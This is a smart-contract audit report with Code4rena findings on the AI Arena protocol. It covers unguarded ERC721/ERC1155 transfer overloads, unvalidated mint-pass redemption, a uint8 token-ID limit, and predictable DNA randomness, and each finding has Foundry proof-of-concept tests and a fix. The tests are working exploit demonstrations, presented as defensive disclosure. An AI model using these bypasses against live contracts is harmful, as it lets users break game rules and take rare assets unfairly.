AI Arena - korok's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545

Vulnerability details

The ERC721 fighters are an important part of the protocol. A player can chose to stake NRN and associate that stake with a specific fighter. Associating a stake with a fighter is intended put that fighter in a locked state to prevent transfers until the unstake action is completed.

The system enforces this requirement by overriding the ERC721 safeTransferFrom function and adding a custom check which will cause a revert if the fighter to be transferred is in the non-transferable state or if the receiver of the transfer already has 10 fighters which is the maximum allowed number per address.

FighterFarm::safeTransferFrom

    /// @notice Safely transfers an NFT from one address to another.
    /// @dev Add a custom check for an ability to transfer the fighter.
    /// @param from Address of the current owner.
    /// @param to Address of the new owner.
    /// @param tokenId ID of the fighter being transferred.
    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, "");
    }

FighterFarm::_ableToTransfer

    /// @notice Check if the transfer of a specific token is allowed.
    /// @dev Cannot receive another fighter if the user already has the maximum amount.
    /// @dev Additionally, users cannot trade fighters that are currently staked.
    /// @param tokenId The token ID of the fighter being transferred.
    /// @param to The address of the receiver.
    /// @return Bool whether the transfer is allowed or not.
    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
          !fighterStaked[tokenId]
        );
    }

The issue is that ERC721 includes two versions of the safeTransferFrom function. The method signatures can be seen below:

1. function safeTransferFrom(address from, address to, uint256 tokenId)

2. function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)

The protocol has not provided an override for the 4 parameter version of in FighterFarm.sol. Since no override is provided the default ERC721 logic will be used when the 4 parameter version of safeTransferFrom is called by a user completely bypassing the intended transfer limitations.

Additionally a somewhat similar but distinct finding according to code4rena rules related to protocol invariants being broken during transfers has been submitted separately. The other finding is not related to the protocols ERC721 fighters, but instead to the ERC1155 game items defined in GameItems.sol. The impacts may seem similar but the important point is that applying the correct steps to mitigate either of the issues has no impact in regards to mitigating the other due to distinct root causes, thus they are separate issues.

Impact

The result is that any user can transfer any Locked fighter(s) they own as well as exceed the limit of 10 fighter per address by calling the 4 parameter version of FighterFarm.safeTransferFrom() thus breaking a core invariant of the system.

Proof of Concept

    /// @notice Test transferring a fighter while staked.
    /// @notice PoC - break staked fighter can't be transferred invariant
    function testStakedFighterTransfer() public {
        _mintFromMergingPool(_ownerAddress);
        _fighterFarmContract.addStaker(_ownerAddress);
        _fighterFarmContract.updateFighterStaking(0, true);
        assertEq(_fighterFarmContract.fighterStaked(0), true);

        // Show that 3 param safeTransferFrom reverts correctly
        vm.expectRevert();
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0);
        
        // Show that 4 param safeTransferFrom does not revert correctly
        // Which breaks invariant disallowing transfer of staked fighter
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "");
        assertEq(_fighterFarmContract.ownerOf(0) == _DELEGATED_ADDRESS, true);
    }

    /// @notice PoC - break MAX_FIGHTERS_ALLOWED === 10 invariant
    function testExceedMaxFighters() public {
        // Loop to mint 11 fighters (tokenId 0 to 10)
        for (uint16 i = 0; i < 11; i++) {
            _mintFromMergingPool(_ownerAddress);

            // Transfer 1 fighter away when next mint will cause revert
            if(i == 9){
                _fighterFarmContract.transferFrom(_ownerAddress, _DELEGATED_ADDRESS, i);
            }
        }

        vm.startPrank(_DELEGATED_ADDRESS);

        // Show that 3 param safeTransferFrom reverts correctly
        vm.expectRevert();
        _fighterFarmContract.safeTransferFrom(_DELEGATED_ADDRESS, _ownerAddress, 9);
        
        // Show that 4 param safeTransferFrom does not revert correctly
        // Allowing return previously transferred token to give ownerAddress more than 10 fighters.
        _fighterFarmContract.safeTransferFrom(_DELEGATED_ADDRESS, _ownerAddress, 9, "");

        assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 11);        
    }

Test setup

• clone https://github.com/code-423n4/2024-02-ai-arena
• Add the tests above to protocol's existing test suite (specifically in the FighterFarm.t.sol file)
• Execute: forge test --mt testStakedFighterTransfer
• Execute: forge test --mt testExceedMaxFighters

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

Add an override for the 4 parameter version of ERC721's safeTransferFrom function in the FighterFarm.sol file (as shown below) to correctly enforce the transfer requirements.

    /// @notice Safely transfers an NFT from one address to another.
    /// @dev Add a custom check for an ability to transfer the fighter.
    /// @param from Address of the current owner.
    /// @param to Address of the new owner.
    /// @param tokenId ID of the fighter being transferred.
    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        bytes memory data
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, "");
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L546

Vulnerability details

The protocol has the concept of game items which are ERC1155. These items are created by protocol admins who can set them to be either transferable or non-transferable.

It is a core invariant of the system that a non-transferable item cannot be transferred.

The system enforces this requirement by overriding the ERC1155 safeTransferFrom function and adding a custom check which will cause revert if the item to be transferred is in the non-transferable state.

GameItems::safeTransferFrom

    /// @notice Safely transfers an NFT from one address to another.
    /// @dev Added a check to see if the game item is transferable.
    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        uint256 amount,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        require(allGameItemAttributes[tokenId].transferable);
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }

A feature of ERC1155 is its ability to allow batch transfers. The issue is that the protocol has not provided an override for the safeBatchTransferFrom in GameItems.sol. Since no override is provided the default ERC1155 logic will be used when safeBatchTransferFrom is called by a user completely bypassing the intended transfer limitations.

Additionally a somewhat similar but distinct finding according to code4rena rules related to protocol invariants being broken during transfers has been submitted separately. The other finding is not related to the protocols ERC1155 game items, but instead to the ERC721 fighters defined in FighterFarm.sol. The impacts may seem similar but the important point is that applying the correct steps to mitigate either of the issues has no impact in regards to mitigating the other due to distinct root causes, thus they are separate issues.

Impact

The result is that any user can transfer any Locked item(s) they own by calling GameItems.safeBatchTransferFrom() thus breaking a core invariant of the system.

Proof of Concept

    /// @notice Test transferring a "non-transferable" item
    /// @notice PoC - break Locked item can't be transferred invariant
    function testTransferLockedItem() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(0, 1); //paying 1 $NRN for 1 battery

        address randomAddr = address(1);
        _gameItemsContract.safeTransferFrom(_ownerAddress, randomAddr, 0, 1, "");

        // make item non-transferable
        _gameItemsContract.adjustTransferability(0, false); 
        (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0);
        assertEq(transferable, false);

        uint256[] memory tokenIds = new uint256[](1);
        uint256[] memory tokenAmounts = new uint256[](1);
        tokenIds[0] = 0;
        tokenAmounts[0] = 1;

        vm.startPrank(randomAddr);

        // safeTransferFrom reverts properly
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(randomAddr, _DELEGATED_ADDRESS, 0, 1, "");
        
        /// safeBatchTransferFrom does not correctly revert
        _gameItemsContract.safeBatchTransferFrom(randomAddr, _DELEGATED_ADDRESS, tokenIds, tokenAmounts, "");
        
        // Confirm successful transfer tokenId 0 despite "non-transferable" status
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
        assertEq(_gameItemsContract.balanceOf(randomAddr, 0), 0);
    }

Test setup

• clone https://github.com/code-423n4/2024-02-ai-arena
• Add the test above to protocol's existing test suite (specifically in the GameItems.t.sol file)
• Execute: forge test --mt testTransferLockedItem

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

Add an override for ERC1155's safeBatchTransferFrom function in the GameItems.sol file (as shown below) to correctly enforce the transfer requirements.

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) 
        public 
        override(ERC1155) 
    {
        for (uint256 i = 0; i < ids.length; ++i) {
            require(allGameItemAttributes[ids[i]].transferable);
        }
        
        super.safeBatchTransferFrom(from, to, ids, amounts, "");
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L243-L247

Vulnerability details

The protocol has the concept of mint passes which are ERC721. These passes have already been minted to qualifying users, and are intended to be used to redeem specific fighter types (champion / dendroid).

Below is a link to mint pass metadata used by the protocol in their test suite

• ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m

<img width="976" alt="Screenshot 2024-02-21 at 11 53 00 AM" src="https://github.com/0xKorok/AI-Arena-T/assets/143921433/5b80da18-336d-4ed8-8174-483722ed2df5">

It is a core invariant of the system that each mint pass can only be used to mint a specific fighter type.

The process of claiming a mint pass does involve validation, by the protocols delegated server, which prevents the minting of more passes (or rarer passes) than the user is eligible for.

However the future step in which mint pass holders will call the redeemMintPass function can currently be manipulated into minting a fighter far beyond the rarity specified by the pass. This is because redeemMintPass has external visibility, accepts values which influence what fighter is minted, and does no validation of those input arguments beyond simple length checks.

FighterFarm::redeemMintPass

    /// @notice Burns multiple mint passes in exchange for fighter NFTs.
    /// @dev This function requires the length of all input arrays to be equal.
    /// @dev Each input array must correspond to the same index, i.e., the first element in each 
    /// array belongs to the same mint pass, and so on.
    /// @param mintpassIdsToBurn Array of mint pass IDs to be burned for each fighter to be minted.
    /// @param mintPassDnas Array of DNA strings of the mint passes to be minted as fighters.
    /// @param fighterTypes Array of fighter types corresponding to the fighters being minted.
    /// @param modelHashes Array of ML model hashes corresponding to the fighters being minted. 
    /// @param modelTypes Array of ML model types corresponding to the fighters being minted.
    function redeemMintPass(
        uint256[] calldata mintpassIdsToBurn,
        uint8[] calldata fighterTypes,
        uint8[] calldata iconsTypes,
        string[] calldata mintPassDnas,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) 
        external 
    {
        require(
            mintpassIdsToBurn.length == mintPassDnas.length && 
            mintPassDnas.length == fighterTypes.length && 
            fighterTypes.length == modelHashes.length &&
            modelHashes.length == modelTypes.length
        );
        for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
            require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
            _mintpassInstance.burn(mintpassIdsToBurn[i]);
            _createNewFighter(
                msg.sender, 
                uint256(keccak256(abi.encode(mintPassDnas[i]))), 
                modelHashes[i], 
                modelTypes[i],
                fighterTypes[i],
                iconsTypes[i],
                [uint256(100), uint256(100)]
            );
        }
    }

Impact

Any user who obtains a mint pass can chose to mint a fighter with the rarest attributes. Examples:

• User can pass 0 or 1 for fighter type meaning a champion mint pass can be used to mint dendroid fighter (which has all attributes values automatically set to 99)

• User can pass any valid value for iconsType ensuring their fighter will be an icon and decided which type they prefer (ex: 2 for beta helmet head, 1 for red diamond eyes, 3 for bowling ball hands)

• User can pass arbitrary dna (influences fighter weight and element), model types, or model hashes

Proof of Concept

Note: Validating the signature is only required to obtain the mint pass. It will not be done in the future when mint pass owners are burning their passes to claim fighters. We only validate a signature here to obtain a mint pass in order to demonstrate the vulnerability.

    /// @notice Test redeeming fighter with rarity beyond user's mint pass values
    /// Mint pass owner can chose to redeem rarest fighters because redeemMintPass doesn't validate input
    function testRedeemSuperFighter() public {
        uint8[2] memory numToMint = [1, 0];
        bytes memory signature = abi.encodePacked(
            hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
        );
        string[] memory _tokenURIs = new string[](1);
        _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        // Obtain a valid mint pass (verification happens at this step)
        assertEq(_mintPassContract.mintingPaused(), false);
        _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
        assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
        assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

        // Redeem fighter with rarity beyond what is specified in the mint pass
        // Due to ability of mint pass owner to pass arbitrary attributes with no verification 
        uint256[] memory _mintpassIdsToBurn = new uint256[](1);
        string[] memory _mintPassDNAs = new string[](1);
        uint8[] memory _fighterTypes = new uint8[](1);
        uint8[] memory _iconsTypes = new uint8[](1);
        string[] memory _neuralNetHashes = new string[](1);
        string[] memory _modelTypes = new string[](1);

        // All values can be arbitrarily set to those with most impact

        _mintpassIdsToBurn[0] = 1;
        _mintPassDNAs[0] = "23"; // Can set arbitrary dna
        _fighterTypes[0] = 1; // Can change to any (dendroid) type 
        _neuralNetHashes[0] = "neuralnethash";
        _modelTypes[0] = "original";
        _iconsTypes[0] = 1; // Can change to any (rarest) icon values

        // approve the fighterfarm contract to burn the mintpass
        _mintPassContract.approve(address(_fighterFarmContract), 1);

        // Arbitrarily mint dendroid with any mint pass
        _fighterFarmContract.redeemMintPass(
            _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
        );

        (, uint256[6] memory fighterAttrs, uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(0);


        // verify max weight achieved
        assertEq(weight, 95);

        // Verify dendroid mint by confirming all fighter attributes are at their maximums 
        for (uint8 i = 0; i < 6; i++) {
            assertEq(fighterAttrs[i], 99);
        }
    }

The test above set out to demonstrates the following as the values for fighterType are adjusted

When the fighterType for the pass is set to 0:

• FighterPhysicalAttributes({ head: 1, eyes: 50, mouth: 4, body: 1, hands: 2, feet: 3 })

When fighterType for the pass is set to 1:

• FighterPhysicalAttributes({ head: 99, eyes: 99, mouth: 99, body: 99, hands: 99, feet: 99 })

Test setup

• clone https://github.com/code-423n4/2024-02-ai-arena
• Add the test above to protocol's existing test suite (specifically in the FighterFarm.t.sol file)
• Execute: forge test --mt testRedeemSuperFighter

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

The Verification.sol library should be used to validate user input against a signature from the delegated server, the source of truth for user eligibility, before allowing the transaction to proceed. This is already correctly done on the linked lines in FighterFarm::claimFighters and AAMintPass::claimMintPass a similar approach should be taken.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370

Vulnerability details

The ability to reroll fighters is a source of protocol revenue. The current default cost to perform this action a single time is 1000 NRN.

The reroll function accepts type uint8 for the tokenId argument. This currently limits the ability to successfully call this function to the first 255 fighters minted.

FighterFarm::reRoll()

    /// @notice Rolls a new fighter with random traits.
    /// @param tokenId ID of the fighter being re-rolled.
    /// @param fighterType The fighter type.
    function reRoll(uint8 tokenId, uint8 fighterType) public {

As can be seen the natspec doesn't indicate any intended restriction on the range of tokenIds that should be able to call the function. Additionally the state variable numRerolls seems to indicate, by it's use of uint256, that the full range of tokenIds should be eligible to reroll.

FighterFarm::numRerolls

    /// @notice Mapping to keep track of how many times an nft has been re-rolled.
    mapping(uint256 => uint8) public numRerolls;

Impact

If it's accurate that all fighters should be able to reroll then the impact is felt in 2 ways:

1. Permanent loss of reroll functionality for a potentially large swath of fighter owners

2. Loss of protocol of the revenue that would be the result of the now disallowed fighter rerolls

Proof of Concept

The compiler actually flags the issue when we try to pass any tokenId 256 or greater.

    function testOnlyFirst255FightersCanReroll() public {
        _mintFromMergingPool(_ownerAddress);
        _fundUserWith4kNeuronByTreasury(_ownerAddress);

        uint8 tokenId = 256;
        uint8 fighterType = 0;

        _neuronContract.addSpender(address(_fighterFarmContract));
        _fighterFarmContract.reRoll(tokenId, fighterType);
        assertEq(_fighterFarmContract.numRerolls(tokenId), 1);
    }

Test setup

• clone https://github.com/code-423n4/2024-02-ai-arena
• Add the test above to the protocols existing test suite (specifically in FighterFarm.t.sol file)
• Execute: forge test --mt testOnlyFirst255FightersCanReroll

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

Change the type accepted for the tokenId argument from uint8 to uint256 as seen below.

    function reRoll(uint256 tokenId, uint8 fighterType) public {

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L214 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L379 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L324

Vulnerability details

The protocol's ERC721 fighters consist of a variety of attributes. This includes base attributes (element, weight, and dna), as well as physical attributes for each of the fighters 6 body parts (head, eyes, mouth, etc.)

Users should not be able to pre-compute inputs that allow them to claim fighters with the attributes they desire.

The current process of generating dna which directly impacts fighter attributes is based on a set formulas, which are easily viewable in FighterFarm.sol, the most common one for calculating dna is seen below.

    uint256(keccak256(abi.encode(msg.sender, fighters.length)))

It should be noted the FighterFarm::reRoll uses a slight variation of the common dna formula but this doesn't increase the difficulty of manipulation.

Since the common formula for dna has only 2 inputs, one of which (msg.sender) is under control of the user, it becomes trivially easy to solve this formula for the length of the fighters at which the user should call claimFighter to mint a fighter with their desired attributes. A function doing such pre-computation for a specified address is included below.

    // DNA is currently computed by combining predictable values 
    // This function demonstrates calculation of dna to give max weight in claimFighters
    function testComputeClaimDNA() public view {
        // should be the address we intend to use to call `claimFighters` 
        // simply change it if the optimal fighter is too far in the future for the given address.
        address adjustableSender = address(0x90193C961A926261B756D1E5bb255e67ff9498A1);

        for (uint8 i = 1; i < 100; i++) {
            bytes memory testDNA = abi.encode(adjustableSender, i);

            uint256 precompClaimDNA = uint256(keccak256(testDNA));

            if(precompClaimDNA % 31 == 30){
                console.log("Mint fighter when fighters.length is:", i);
            }
        }
    }

Logs result:

  Mint fighter when fighters.length is:  2
  Mint fighter when fighters.length is:  16
  Mint fighter when fighters.length is:  52

The reason a successful dna string is considered to be one in which dna % 31 == 30 is because this is the way to ensure max weight when claimFighter reaches the FighterFarm::_createFighterBase step. This example focused on achieving max weight but solving for various weights or any specific element is also possible.

    /// @notice Creates the base attributes for the fighter.
    /// @param dna The dna of the fighter.
    /// @param fighterType The type of the fighter.
    /// @return Attributes of the new fighter: element, weight, and dna.
    function _createFighterBase(
        uint256 dna, 
        uint8 fighterType
    ) 
        private 
        view 
        returns (uint256, uint256, uint256) 
    {
        uint256 element = dna % numElements[generation[fighterType]];
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }

Impact

This vulnerability impacts all public / external functions which can result in the minting of a fighter these being:

• FighterFarm::claimFighters - mint pass holder can calculate fighters.length value at which they should claim for desired attributes

• FighterFarm::redeemMintPass - mint pass holder can calculate values that results in their desired attributes without having to wait for a specified fighters.length to mint the fighter. Some examples that yield max weight when passed as dna argument are 23, 47, 60, 70, 83 ...etc.

• FighterFarm::reRoll - fighter owners can calculate what the result of calling reRoll for their fighter will be before spending the NRN to actually perform the action. Which leads to loss of protocol revenue as some users will not reRoll if they know they will receive a fighter with undesirable attributes.

• FighterFarm::mintFromMergingPool - not directly impacted because it only allows the officially deployed MergingPool to call it

Proof of Concept

    function testClaimMaxWeightFighter() public {
        // have the system mint 2 fighters since this the length we have pre-computed will result
        // in maxWeight for the msg.sender address to be used for demonstration
        _mintFromMergingPool(_ownerAddress); //mint tokenId 0
        _mintFromMergingPool(_ownerAddress); // mint tokenId 1

        uint8[2] memory numToMint = [1, 0];
        bytes memory claimSignature = abi.encodePacked(
            hex"407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c"
        );
        string[] memory claimModelHashes = new string[](1);
        claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        string[] memory claimModelTypes = new string[](1);
        claimModelTypes[0] = "original";

        vm.prank(address(0x90193C961A926261B756D1E5bb255e67ff9498A1));
        _fighterFarmContract.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes);

        // Get weight of newly minted fighter (tokenId 2)
        (,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(2);

        // verify max weight achieved
        assertEq(weight, 95);
    }

Test setup

• clone https://github.com/code-423n4/2024-02-ai-arena
• Add the test above to protocol's existing test suite (specifically in the FighterFarm.t.sol file)
• Execute: forge test --mt testClaimMaxWeightFighter

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

Due to the importance of randomness for the integrity of a fair game the current "randomness" should be replaced with a secure and verifiable source of randomness from Chainlink VRF which is currently available on Arbitrum.

Assessed type

Other